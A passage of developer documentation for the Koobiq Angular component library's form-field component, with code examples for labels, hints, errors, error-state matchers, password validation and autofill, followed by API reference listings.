- [Timepicker](https://koobiq.io/en/components/timepicker.md)
- [Timezone](https://koobiq.io/en/components/timezone.md)
- [Tree select](https://koobiq.io/en/components/tree-select.md)

#### Label

`<kbq-label>` names the field. The `showRequiredMarker` attribute ends the label
of a required field with the `*` marker: a field is required when it has the `required` attribute or the
`Validators.required` validator. The marker is hidden by default; the [global options](#global-options) turn it on for every field.

**Example: Form field with kbq-label** (`form-field-with-label`)

```ts form-field-with-label-example.ts
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqToggleModule } from '@koobiq/components/toggle';

/** @title Form field with kbq-label */
@Component({
    selector: 'form-field-with-label-example',
    imports: [FormsModule, KbqInputModule, KbqToggleModule],
    template: `
        <kbq-toggle class="layout-margin-bottom-m" [(ngModel)]="showRequiredMarker">Show required marker</kbq-toggle>

        <kbq-form-field [showRequiredMarker]="showRequiredMarker()">
            <kbq-label>Label</kbq-label>
            <input kbqInput required placeholder="Click on the label for auto focus" />
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FormFieldWithLabelExample {
    protected readonly showRequiredMarker = signal(false);
}
```

#### Horizontal form

To create a horizontal form, add the `horizontal` attribute to the `<kbq-form-field>` component.

**Example: Form field horizontal** (`form-field-horizontal`)

```ts form-field-horizontal-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqInputModule } from '@koobiq/components/input';

/** @title Form field horizontal */
@Component({
    selector: 'form-field-horizontal-example',
    imports: [KbqInputModule],
    template: `
        <kbq-form-field horizontal labelClass="flex-15" contentClass="flex-85">
            <kbq-label>Field name</kbq-label>
            <input kbqInput />
            <kbq-hint>Hint below the field</kbq-hint>
        </kbq-form-field>

        <kbq-form-field horizontal>
            <kbq-label>Field name</kbq-label>
            <input kbqInput />
            <kbq-hint>Hint below the field</kbq-hint>
        </kbq-form-field>

        <kbq-form-field horizontal labelClass="flex-35" contentClass="flex-65">
            <kbq-label>Field name</kbq-label>
            <input kbqInput />
            <kbq-hint>Hint below the field</kbq-hint>
        </kbq-form-field>

        <kbq-form-field horizontal labelClass="flex-60" contentClass="flex-40">
            <kbq-label>Field name</kbq-label>
            <input kbqInput />
            <kbq-hint>Hint below the field</kbq-hint>
        </kbq-form-field>
    `,
    styles: `
        :host {
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            gap: var(--kbq-size-xl);
        }

        .kbq-form-field {
            width: 320px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FormFieldHorizontalExample {}
```

#### Hints

`<kbq-hint>` is a component used to add hints to form fields inside the `<kbq-form-field>` component.
Hints can be useful for providing additional information on how to fill out the field, what data is expected,
or for displaying additional instructions.

**Example: Form field with kbq-hint** (`form-field-with-hint`)

```ts form-field-with-hint-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { toSignal } from '@angular/core/rxjs-interop';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqInputModule } from '@koobiq/components/input';
import { map } from 'rxjs';

/** @title Form field with kbq-hint */
@Component({
    selector: 'form-field-with-hint-example',
    imports: [KbqInputModule, ReactiveFormsModule],
    template: `
        <kbq-form-field>
            <kbq-label>Article title</kbq-label>
            <input kbqInput placeholder="Article title" [formControl]="formControl" [maxlength]="maxLength" />
            <kbq-hint>Max {{ maxLength }} chars ({{ count() }}/{{ maxLength }})</kbq-hint>
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FormFieldWithHintExample {
    readonly formControl = new FormControl();
    readonly maxLength = 25;
    readonly count = toSignal(this.formControl.valueChanges.pipe(map((v) => v.length)), { initialValue: 0 });
}
```

#### Error messages

`<kbq-error>` is a component used to display validation error messages for form fields inside the `<kbq-form-field>` component. Errors are initially **hidden** and will be displayed **only** for invalid form fields after user interaction or form submission.

**Example: Form field with kbq-error** (`form-field-with-error`)

```ts form-field-with-error-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, ReactiveFormsModule, Validators } from '@angular/forms';
import { KbqInputModule } from '@koobiq/components/input';

/** @title Form field with kbq-error */
@Component({
    selector: 'form-field-with-error-example',
    imports: [KbqInputModule, ReactiveFormsModule],
    template: `
        <kbq-form-field>
            <kbq-label>Email</kbq-label>
            <input kbqInput placeholder="mail@koobiq.io" [formControl]="formControl" />
            <kbq-hint>Enter email</kbq-hint>
            <kbq-error>
                @if (formControl.hasError('required')) {
                    Should enter a value
                } @else {
                    Invalid email
                }
            </kbq-error>
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FormFieldWithErrorExample {
    readonly formControl = new FormControl('', [Validators.required, Validators.email]);
}
```

#### Changing error message display behavior

By default, error highlighting and messages are displayed for **invalid** fields after user interaction (touched or form submitted) with the form element. This behavior can be overridden using [ErrorStateMatcher](https://github.com/koobiq/angular-components/blob/main/packages/components/core/error/error-state-matcher.ts), which provides the ability to flexibly configure the logic for highlighting and displaying validation errors, allowing you to adapt the behavior of input fields to the specific requirements of the application.

You can use one of the built-in `ErrorStateMatcher`, or write your own implementation:

```ts
/**
 * Highlights and displays an error for an invalid field after form submission
 * Copy of ShowOnFormSubmitErrorStateMatcher: https://github.com/koobiq/angular-components/blob/main/packages/components/core/error/error-state-matcher.ts
 */
class CustomErrorStateMatcher implements ErrorStateMatcher {
    isErrorState(control: AbstractControl | null, form: FormGroupDirective | NgForm | null): boolean {
        return !!(control?.invalid && form?.submitted);
    }
}
```

Override

For a specific field, using the `errorStateMatcher` attribute:

**Example: Form field with CustomErrorStateMatcher which set by \`errorStateMatcher\` attribute** (`form-field-with-custom-error-state-matcher-set-by-attribute`)

```ts form-field-with-custom-error-state-matcher-set-by-attribute-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import {
    AbstractControl,
    FormControl,
    FormGroup,
    FormGroupDirective,
    NgForm,
    ReactiveFormsModule,
    Validators
} from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { ErrorStateMatcher } from '@koobiq/components/core';
import { KbqInputModule } from '@koobiq/components/input';

/**
 * Error state matcher that matches when a control is invalid and form is submitted.
 * Copy ShowOnFormSubmitErrorStateMatcher: https://github.com/koobiq/angular-components/blob/main/packages/components/core/error/error-state-matcher.ts
 */
class CustomErrorStateMatcher implements ErrorStateMatcher {
    isErrorState(control: AbstractControl | null, form: FormGroupDirective | NgForm | null): boolean {
        return !!(control?.invalid && form?.submitted);
    }
}

/** @title Form field with CustomErrorStateMatcher which set by `errorStateMatcher` attribute */
@Component({
    selector: 'form-field-with-custom-error-state-matcher-set-by-attribute-example',
    imports: [KbqInputModule, ReactiveFormsModule, KbqButtonModule],
    template: `
        <form [formGroup]="formGroup">
            <kbq-form-field>
                <kbq-label>Email</kbq-label>
                <input
                    formControlName="email"
                    kbqInput
                    placeholder="mail@koobiq.io"
                    [errorStateMatcher]="customErrorStateMatcher"
                />
                <kbq-hint>Error will be shown when the control is invalid and the form is submitted</kbq-hint>
                <kbq-error>
                    @if (formGroup.get('email')?.hasError('required')) {
                        Should enter a value
                    } @else {
                        Invalid email
                    }
                </kbq-error>
            </kbq-form-field>

            <button class="layout-margin-top-l" kbq-button type="submit">Submit form</button>
        </form>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FormFieldWithCustomErrorStateMatcherSetByAttributeExample {
    readonly formGroup = new FormGroup({
        email: new FormControl('', [Validators.required, Validators.email])
    });
    readonly customErrorStateMatcher = new CustomErrorStateMatcher();
}
```

For all fields, using the `ErrorStateMatcher` token:

**Example: Form field with CustomErrorStateMatcher which set by DI provider** (`form-field-with-custom-error-state-matcher-set-by-dependency-injection-provider`)

```ts form-field-with-custom-error-state-matcher-set-by-dependency-injection-provider-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import {
    AbstractControl,
    FormControl,
    FormGroup,
    FormGroupDirective,
    NgForm,
    ReactiveFormsModule,
    Validators
} from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { ErrorStateMatcher, kbqErrorStateMatcherProvider } from '@koobiq/components/core';
import { KbqInputModule } from '@koobiq/components/input';

/**
 * Error state matcher that matches when a control is invalid and form is submitted.
 * Copy ShowOnFormSubmitErrorStateMatcher: https://github.com/koobiq/angular-components/blob/main/packages/components/core/error/error-state-matcher.ts
 */
class CustomErrorStateMatcher implements ErrorStateMatcher {
    isErrorState(control: AbstractControl | null, form: FormGroupDirective | NgForm | null): boolean {
        return !!(control?.invalid && form?.submitted);
    }
}

/** @title Form field with CustomErrorStateMatcher which set by DI provider */
@Component({
    selector: 'form-field-with-custom-error-state-matcher-set-by-dependency-injection-provider-example',
    imports: [KbqInputModule, ReactiveFormsModule, KbqButtonModule],
    template: `
        <form [formGroup]="formGroup">
            <kbq-form-field>
                <kbq-label>Email</kbq-label>
                <input formControlName="email" kbqInput placeholder="mail@koobiq.io" />
                <kbq-hint>Error will be shown when the control is invalid and the form is submitted</kbq-hint>
                <kbq-error>
                    @if (formGroup.get('email')?.hasError('required')) {
                        Should enter a value
                    } @else {
                        Invalid email
                    }
                </kbq-error>
            </kbq-form-field>

            <button class="layout-margin-top-l" kbq-button type="submit">Submit form</button>
        </form>
    `,
    providers: [kbqErrorStateMatcherProvider(CustomErrorStateMatcher)],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FormFieldWithCustomErrorStateMatcherSetByDependencyInjectionProviderExample {
    readonly formGroup = new FormGroup({
        email: new FormControl('', [Validators.required, Validators.email])
    });
}
```

For a full explanation of both approaches, built-in matchers, and component-specific patterns (tag list, file upload), see the [Validation](https://koobiq.io/en/other/validation.md) guide.

#### Field cleaning

`<kbq-cleaner />` is a component that adds a clear button for **filled** form fields inside the `<kbq-form-field>` component.

**Example: Form field with kbq-cleaner** (`form-field-with-cleaner`)

```ts form-field-with-cleaner-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqSelectModule } from '@koobiq/components/select';

/** @title Form field with kbq-cleaner */
@Component({
    selector: 'form-field-with-cleaner-example',
    imports: [KbqInputModule, KbqSelectModule, ReactiveFormsModule],
    template: `
        <kbq-form-field class="layout-margin-bottom-m">
            <input kbqInput placeholder="Enter some input" [formControl]="inputFormControl" />
            <kbq-cleaner />
        </kbq-form-field>

        <kbq-form-field>
            <kbq-select placeholder="Select an option" [formControl]="selectFormControl">
                <kbq-cleaner />
                <kbq-option value="1">Option #1</kbq-option>
                <kbq-option value="2">Option #2</kbq-option>
            </kbq-select>
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FormFieldWithCleanerExample {
    readonly inputFormControl = new FormControl('This field can be cleaned');
    readonly selectFormControl = new FormControl('1');
}
```

#### Prefix and suffix

`kbqPrefix` and `kbqSuffix` are directives that allow adding custom elements **before** and **after** the form field inside the `<kbq-form-field>` component. These directives are useful for adding icons, text, buttons, and other elements that should be placed next to the form field.

**Example: Form field with kbqPrefix and kbqSuffix** (`form-field-with-prefix-and-suffix`)

```ts form-field-with-prefix-and-suffix-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqInputModule } from '@koobiq/components/input';

/** @title Form field with kbqPrefix and kbqSuffix */
@Component({
    selector: 'form-field-with-prefix-and-suffix-example',
    imports: [KbqInputModule, KbqIconModule, ReactiveFormsModule],
    template: `
        <kbq-form-field>
            <i kbqPrefix kbq-icon="kbq-magnifying-glass_16"></i>
            <input kbqInput placeholder="Search" [formControl]="formControl" />
            <i kbqSuffix kbq-icon="kbq-circle-info_16"></i>
            <kbq-cleaner />
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FormFieldWithPrefixAndSuffixExample {
    readonly formControl = new FormControl();
}
```

#### Focus

In text input fields, a blue border is always displayed when focused, regardless of the activation method (mouse, keyboard, or touch).
For form elements with dropdown lists (such as: [select](https://koobiq.io/en/components/select.md), [timezone](https://koobiq.io/en/components/timezone.md), and [tree select](https://koobiq.io/en/components/tree-select.md)),
the focus border is shown only during keyboard navigation (using the `Tab` key) and is hidden when the dropdown list is opened.

#### Disabling borders

For a specific field, using the `noBorders` attribute:

**Example: Form field without borders** (`form-field-without-borders`)

```ts form-field-without-borders-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, ReactiveFormsModule, Validators } from '@angular/forms';
import { KbqInputModule } from '@koobiq/components/input';

/** @title Form field without borders */
@Component({
    selector: 'form-field-without-borders-example',
    imports: [KbqInputModule, ReactiveFormsModule],
    template: `
        <kbq-form-field noBorders>
            <input placeholder="Form field without borders" kbqInput [formControl]="formControl" />
            <kbq-error>Should enter a value</kbq-error>
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FormFieldWithoutBordersExample {
    readonly formControl = new FormControl('', [Validators.required]);
}
```

For all fields, in the [global options](#global-options).

#### Autofill

To change the tint or switch it off, override the token on the field:

```css
.my-form-field {
    /* look exactly like a normally filled field */
    --kbq-form-field-states-autofill-background: transparent;
}
```

The state is also tracked in TypeScript. `KbqInput`, `KbqInputPassword`, `KbqTextarea` and `KbqTagInput` (forwarded by `KbqTagList`) each wrap the CDK's `AutofillMonitor` around their own element and expose the result as an `autofilled` signal, which `<kbq-form-field>` reflects as the `kbq-form-field_autofilled` class:

```ts
readonly input = viewChild.required(KbqInput);

// ...

const filledByBrowser = this.input().autofilled();
```

The signal is a hook for application code, not the mechanism behind the styling: it arrives a frame or two after the browser paints, where the CSS matches in the same style pass.

#### Password input field

`<kbq-password-toggle>` is a component that adds a _"Show password"_ button for **filled** `<input kbqInputPassword />` fields inside the `<kbq-form-field>` component.

`<kbq-reactive-password-hint>` is a component used to add hints to the `<input kbqInputPassword />` field inside the `<kbq-form-field>` component. The `[hasError]` input sets the state of the hint: bind it to the error of the matching validator of the form control.

The example uses [PasswordValidators](https://github.com/koobiq/angular-components/blob/main/packages/components/core/forms/validators.ts) - a set of static methods for password validation.

**Example: Form field password overview** (`form-field-password-overview`)

```ts form-field-password-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, ReactiveFormsModule, Validators } from '@angular/forms';
import { PasswordValidators } from '@koobiq/components/core';
import { KbqInputModule } from '@koobiq/components/input';

/** @title Form field password overview */
@Component({
    selector: 'form-field-password-overview-example',
    imports: [KbqInputModule, ReactiveFormsModule],
    template: `
        <kbq-form-field>
            <input placeholder="Password" kbqInputPassword [formControl]="formControl" />

            <kbq-password-toggle />

            <kbq-reactive-password-hint [hasError]="formControl.hasError('minLength')">
                Min length
                @let minLength = formControl.getError('minLength');
                @if (minLength) {
                    ({{ minLength.actual }}/{{ minLength.min }})
                }
            </kbq-reactive-password-hint>

            <kbq-reactive-password-hint [hasError]="formControl.hasError('minUppercase')">
                Uppercase characters
                @let minUppercaseError = formControl.getError('minUppercase');
                @if (minUppercaseError) {
                    ({{ minUppercaseError.actual }}/{{ minUppercaseError.min }})
                }
            </kbq-reactive-password-hint>

            <kbq-reactive-password-hint [hasError]="formControl.hasError('minLowercase')">
                Lowercase characters
                @let minLowercaseError = formControl.getError('minLowercase');
                @if (minLowercaseError) {
                    ({{ minLowercaseError.actual }}/{{ minLowercaseError.min }})
                }
            </kbq-reactive-password-hint>

            <kbq-reactive-password-hint [hasError]="formControl.hasError('minNumber')">
                Number characters
                @let minNumberError = formControl.getError('minNumber');
                @if (minNumberError) {
                    ({{ minNumberError.actual }}/{{ minNumberError.min }})
                }
            </kbq-reactive-password-hint>

            <kbq-reactive-password-hint [hasError]="formControl.hasError('minSpecial')">
                Special characters
                @let minSpecialError = formControl.getError('minSpecial');
                @if (minSpecialError) {
                    ({{ minSpecialError.actual }}/{{ minSpecialError.min }})
                }
            </kbq-reactive-password-hint>

            @if (formControl.hasError('required')) {
                <kbq-error>Should enter password</kbq-error>
            }
        </kbq-form-field>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FormFieldPasswordOverviewExample {
    readonly formControl = new FormControl('', [
        Validators.required,
        PasswordValidators.minLength(8),
        PasswordValidators.minUppercase(2),
        PasswordValidators.minLowercase(2),
        PasswordValidators.minNumber(2),
        PasswordValidators.minSpecial(2)
    ]);
}
```

#### Troubleshooting

##### Error: kbq-form-field must contain a KbqFormFieldControl

This error occurs when `<kbq-form-field>` does not contain a form field, such as `<input kbqInput />` or its import `KbqInputModule`.

##### Error: You should use kbq-password-toggle with kbqInputPassword

This error occurs when `<kbq-password-toggle>` cannot find the `<input kbqInputPassword />` field or its import `KbqInputModule`.

##### Error: You should use kbq-stepper with kbqNumberInput

This error occurs when `<kbq-stepper>` cannot find the `<input kbqNumberInput />` field or its import `KbqInputModule`.

#### Global options

The `kbqFormFieldDefaultOptionsProvider` function sets the default options of every field in the application or in a specific injector.

```ts
import { ApplicationConfig } from '@angular/core';
import { kbqFormFieldDefaultOptionsProvider } from '@koobiq/components/form-field';

export const appConfig: ApplicationConfig = {
    providers: [kbqFormFieldDefaultOptionsProvider({ showRequiredMarker: true, noBorders: true })]
};
```

### API

#### Components

##### KbqCleaner (component)

Element to be placed in end of the form field.
Resets form control by click.

```ts
@Component({ selector: 'kbq-cleaner', exportAs: 'kbqCleaner' })
class KbqCleaner extends KbqIconButton {
    readonly ariaLabel = input<string | undefined>(undefined, {
        alias: 'aria-label'
    });
    readonly size = input<KbqIconButtonSize>('normal');
    tabindex = input<number | null | undefined>();
    disabled = input<boolean | undefined>();
    readonly ariaHidden = input<boolean | undefined>(undefined, {
        alias: 'aria-hidden'
    });
    readonly iconSize = input<number | undefined>();
    autoColor = input<boolean | undefined>();
    readonly color = input<T | null | undefined>();
    hasError: boolean;
    iconName: string | undefined;
    get colorClassName(): string;
    getHostElement(): HTMLElement;
    setDefaultColor(color: T): void;
}
```

- `[aria-label]`: `string | undefined` — Accessible name of the cleaner. Defaults to the localized "Clear".
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.
- `[size]`: `KbqIconButtonSize` — Size of the icon button.
- `[tabindex]`: `number | null | undefined` — Position of the button in the tab order. A disabled button is taken out of it entirely.
- `[disabled]`: `boolean | undefined` — Whether the button is disabled.
- `[aria-hidden]`: `boolean | undefined` — Whether the icon is hidden from assistive technology. Left unbound, it falls back to
  `defaultAriaHidden`, which is `true` for a decorative icon and `false` for an interactive one.
- `[iconSize]`: `number | undefined` — Rendered size of the icon in pixels. Left unset, the size is read from the `_<px>` suffix of the
  icon name (`kbq-plus_16` → 16), which is the `@koobiq/icons` convention; a name without one is
  rendered at whatever size the surrounding styles give it.
- `[autoColor]`: `boolean | undefined` — Whether the icon follows the error state of the host it sits in (a form field, for one), painting
  itself red while that host reports an error.
- `[color]`: `T | null | undefined` — Color of the component. A value set in code holds until the input changes, and the default color is used
  while both are unset or falsy.
- `hasError`: `boolean` — Whether the icon takes the error color whatever its `color` is. Set by a host that tints the icons
  it holds, such as `KbqEmptyState`.
- `iconName`: `string | undefined` — Name of an icon within a `@koobiq/icons`. Accepts "namespace:name" syntax.
- `colorClassName`: `string` — current class name of color
- `setDefaultColor()`: `void` — this color will be used as a default value. For example [color]="'' | false | undefined | null".

##### KbqError (component)

Error text to be shown below the form field control. It keeps the error color under a disabled control too.

```ts
@Component({ selector: 'kbq-error', exportAs: 'kbqError' })
class KbqError extends KbqHint {
    readonly id = input<string>(`kbq-hint-${nextUniqueId++}`);
    readonly fillTextOff = input<boolean>(false);
    readonly compact = input<boolean>(false);
    readonly color = input<T | null | undefined>();
    get colorClassName(): string;
    setDefaultColor(color: T): void;
}
```

- `[id]`: `string` — Unique ID for the hint. Referenced by the `aria-describedby` of the form field control.
- `[fillTextOff]`: `boolean` — Disables `color` for the hint text.
- `[compact]`: `boolean` — Makes the hint size smaller.
- `[color]`: `T | null | undefined` — Color of the component. A value set in code holds until the input changes, and the default color is used
  while both are unset or falsy.
- `colorClassName`: `string` — current class name of color
- `setDefaultColor()`: `void` — this color will be used as a default value. For example [color]="'' | false | undefined | null".

##### KbqFieldset (component)

A group of form-fields and related controls.
Container component emulating the native `fieldset` element.

```ts
@Component({ selector: 'kbq-fieldset', exportAs: 'kbqFieldset' })
class KbqFieldset {}
```

##### KbqFormField (component)

Container for form controls that applies styling and behavior.

```ts
@Component({ selector: 'kbq-form-field', exportAs: 'kbqFormField' })
class KbqFormField extends KbqColorDirective {
    readonly noBorders = input<boolean | undefined>(
        this.defaultOptions?.noBorders
    );
    readonly inOverlay = model<boolean | undefined>(
        this.defaultOptions?.inOverlay
    );
    readonly horizontal = input<boolean | undefined>(
        this.defaultOptions?.horizontal
    );
    readonly labelClass = input<string | string[] | Set<string> | undefined>(
        this.defaultOptions?.labelClass
    );
    readonly contentClass = input<string | string[] | Set<string> | undefined>(
        this.defaultOptions?.contentClass
    );
    readonly showRequiredMarker = input<boolean>(
        !!this.defaultOptions?.showRequiredMarker
    );
    readonly color = input<T | null | undefined>();
    get invalid(): boolean;
    readonly labelId: Signal<string | null>;
    readonly isNativeLabelSupported: Signal<boolean>;
    get disabled(): boolean;
    readonly readonly: Signal<boolean>;
    get autofilled(): boolean;
    get colorClassName(): string;
    focus(options?: FocusOptions): void;
    getConnectedOverlayOrigin(): ElementRef;
    setDefaultColor(color: T): void;
}
```

- `[noBorders]`: `boolean | undefined` — Disables form field borders and shadows.
- `[(inOverlay)]`: `boolean | undefined` — Use when KbqFormField is in an overlay container.
- `[horizontal]`: `boolean | undefined` — Whether the form field is displayed horizontally.
- `[labelClass]`: `string | string[] | Set<string> | undefined` — Additional CSS classes applied to the label element.
- `[contentClass]`: `string | string[] | Set<string> | undefined` — Additional CSS classes applied to the content wrapper element.
- `[showRequiredMarker]`: `boolean` — Whether the label of a required control ends with the `*` marker. A control is required by its `required`
  state or by `Validators.required` on its form control.
- `[color]`: `T | null | undefined` — Color of the component. A value set in code holds until the input changes, and the default color is used
  while both are unset or falsy.
- `invalid`: `boolean` — Whether the form field is invalid.
- `labelId`: `Signal<string | null>` — Id of the rendered label, or `null` when the form field has no label.

  `for` only associates a label with a native form control, so a control that is a custom element
  (`kbq-select`, for one) has to point back at the label through `aria-labelledby` instead.
- `isNativeLabelSupported`: `Signal<boolean>` — Whether the control is a native labelable element, so that a `<label>` can associate with it.

  A custom control (`kbq-select`, for one) reports `isNativeLabelSupported: false`; the caption is then rendered
  as a `<span>` instead of a `<label>`, because a label that neither has a `for` matching a labelable
  element nor wraps one is invalid, and the control is named through `aria-labelledby` instead.
- `disabled`: `boolean` — Whether the form field is disabled.
- `readonly`: `Signal<boolean>` — Whether the form field control is read-only.
- `autofilled`: `boolean` — Whether the form field control's value was filled in by the browser. Controls that cannot be
  autofilled do not implement `autofilled`, and report `false` here.

  Reflected as `kbq-form-field_autofilled` for application code to key on. The autofill styling
  does not use it: CSS matches `:autofill` directly, in the same style pass the browser fills
  the field, where this arrives a frame or two later. Keeping the paint on one source also means
  a class left behind by a detached or re-attached control cannot tint a field the browser no
  longer considers autofilled.
- `colorClassName`: `string` — current class name of color
- `focus()`: `void` — Focuses the control.
- `getConnectedOverlayOrigin()`: `ElementRef` — Gets an ElementRef for the element that a overlay attached to the form-field should be positioned relative to.
- `setDefaultColor()`: `void` — this color will be used as a default value. For example [color]="'' | false | undefined | null".

##### KbqHint (component)

Hint text to be shown below the form field control.

```ts
@Component({ selector: 'kbq-hint', exportAs: 'kbqHint' })
class KbqHint extends KbqColorDirective {
    readonly id = input<string>(`kbq-hint-${nextUniqueId++}`);
    readonly fillTextOff = input<boolean>(false);
    readonly compact = input<boolean>(false);
    readonly color = input<T | null | undefined>();
    get colorClassName(): string;
    setDefaultColor(color: T): void;
}
```

- `[id]`: `string` — Unique ID for the hint. Referenced by the `aria-describedby` of the form field control.
- `[fillTextOff]`: `boolean` — Disables `color` for the hint text.
- `[compact]`: `boolean` — Makes the hint size smaller.
- `[color]`: `T | null | undefined` — Color of the component. A value set in code holds until the input changes, and the default color is used
  while both are unset or falsy.
- `colorClassName`: `string` — current class name of color
- `setDefaultColor()`: `void` — this color will be used as a default value. For example [color]="'' | false | undefined | null".

##### KbqPasswordToggle (component)

Component which changes password visibility.

```ts
@Component({ selector: 'kbq-password-toggle', exportAs: 'kbqPasswordToggle' })
class KbqPasswordToggle extends KbqTooltipTrigger {
    readonly tabindex = input<number>(0);
    readonly kbqTooltipHidden = input<string | TemplateRef<any>>();
    readonly forDisabledComponent = input<Record<'disabledSignal', WritableSignal<boolean>>>();
    readonly ignoreTooltipPointerEvents = input<boolean>(false);
    readonly singleInstance = input<boolean>(
        inject(KBQ_TOOLTIP_SINGLE_INSTANCE_DEFAULT),
        { alias: 'kbqTooltipSingleInstance' }
    );
    hideWithTimeout = input<boolean | undefined>();
    content: string | TemplateRef<any>;
    tooltipVisible: boolean;
    tooltipPlacement: KbqPopUpPlacementValues;
    relativeToPointer: boolean;
    relativeToCaret: boolean;
    relativeToCaretVertical: KbqCaretVerticalAnchor;
    tooltipPlacementPriority: string | string[] | null;
    disabled: boolean;
    enterDelay: number;
    leaveDelay: number;
    trigger: string;
    customClass: string;
    context: unknown;
    color: KbqComponentColors | string;
    arrow: boolean;
    arrowCentered: boolean;
    offset: number | null;
    readonly placementChange: EventEmitter<KbqPopUpPlacementValues>;
    readonly visibleChange: EventEmitter<boolean>;
    modifier: KbqEnumValues<TooltipModifier>;
    header: string | TemplateRef<unknown>;
    isOpen: boolean;
    get isAttached(): boolean;
    get openedChange(): Observable<boolean>;
    show(delay?: number): void;
    hide(delay?: number): void;
    showForMouseEvent(event: MouseEvent): void;
    showForElement(element: HTMLElement): void;
    updateOrigin(origin: KbqOverlayOrigin | null): void;
}
```

- `[kbqTooltipHidden]`: `string | TemplateRef<any>` — Tooltip shown while the password is hidden.
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.
- `[forDisabledComponent]`: `Record<'disabledSignal', WritableSignal<boolean>>` — Input for controlling the disabled state of a component.

  The input expects a component containing `disabledSignal` property, which is
  a writable signal emitting boolean values.
- `[ignoreTooltipPointerEvents]`: `boolean` — Determines whether pointer events should be ignored on tooltips.

  When set to `true`, the tooltip pane does not receive pointer events, so clicks and hovers pass through
  to whatever is underneath it. Defaults to `false`, which keeps the tooltip hoverable: a user who needs
  more time to read it — or who reads at high magnification, where the pointer often ends up over the
  tooltip itself — can move the pointer onto it without it disappearing (WCAG 1.4.13 "Content on Hover").

  Set it to `true` for tooltips that float over other click targets, such as the overflow hints of a
  scrolling option list.
- `[kbqTooltipSingleInstance]`: `boolean` — Whether the tooltip takes part in the "only one tooltip is visible at a time" group: showing it
  hides the previously visible tooltip, and it is hidden when another tooltip is shown.

  Defaults to `true`; the default can be changed application-wide with the
  `KBQ_TOOLTIP_SINGLE_INSTANCE_DEFAULT` token.

  Tooltips without an interactive `kbqTrigger` (`manual`, `none`, …) never take part in the group,
  regardless of this input — they are shown imperatively and are expected to stay pinned.
- `[hideWithTimeout]`: `boolean | undefined` — Changes hiding behavior. By default, tooltip is hidden on mouseleave from trigger.
  Setting hideWithTimeout to true will delay tooltip hiding and will not hide when the mouse moves from trigger
  to tooltip.
- `content`: `string | TemplateRef<any>` — Tooltip shown while the password is visible. Reading it resolves to the tooltip matching the current
  visibility, so that the base trigger renders the right one.
- `tooltipVisible`: `boolean` — Input (`kbqVisible`) that programmatically shows or hides the tooltip; reflects the current `visible` state.
- `tooltipPlacement`: `KbqPopUpPlacementValues` — Input (`kbqPlacement`) that sets the tooltip placement relative to its trigger; reflects the current `placement`.
- `relativeToPointer`: `boolean` — Positions the tooltip relative to the mouse cursor. Only available for top and bottom kbqPlacement.
  Does not work with kbqPlacementPriority.
- `relativeToCaret`: `boolean` — Positions the tooltip relative to the text caret of the field it is attached to, following it while the
  user types, moves the caret and scrolls the field. Anchors to the selection whenever there is one.

  Every placement is available, unlike with `kbqRelativeToPointer`: the caret is anchored as a rectangle,
  so the usual fallback placements keep the tooltip on screen. Wins when both inputs are enabled.

  The field is the host element itself when it is editable, otherwise the first editable it wraps.
- `relativeToCaretVertical`: `KbqCaretVerticalAnchor` — What the tooltip is vertically anchored to while `kbqRelativeToCaret` is enabled.
- `tooltipPlacementPriority`: `string | string[] | null` — Input (`kbqPlacementPriority`) that sets the ordered fallback placements; reflects the current `placementPriority`.
- `disabled`: `boolean` — Input (`kbqTooltipDisabled`) controlling whether the tooltip is disabled; setting it to `true` hides it.
  `undefined` leaves the decision to the trigger, like an unset input.

  Reads back the *effective* state, which for triggers that derive one of their own (see
  `derivedDisabledWins`) is not necessarily the value that was written.
- `enterDelay`: `number` — Input (`kbqEnterDelay`) — delay in milliseconds before the tooltip is shown. Defaults to `400`.
- `leaveDelay`: `number` — Input (`kbqLeaveDelay`) — delay in milliseconds before the tooltip is hidden. Defaults to `0`.
- `trigger`: `string` — Input (`kbqTrigger`) with the comma-separated trigger events. An empty value resets to hover + focus and rebinds listeners.
- `customClass`: `string` — Input (`kbqTooltipClass`) with an extra CSS class applied to the tooltip; updating it refreshes the class map.
- `context`: `unknown` — Input (`kbqTooltipContext`) with the context object passed to a template tooltip; updating it refreshes the open tooltip.
- `color`: `KbqComponentColors | string` — Input (`kbqTooltipColor`) with the tooltip color theme. Defaults to `KbqComponentColors.Contrast`.
- `arrow`: `boolean` — Input (`kbqTooltipArrow`) — whether to render the tooltip's arrow/pointer. Defaults to `false`.
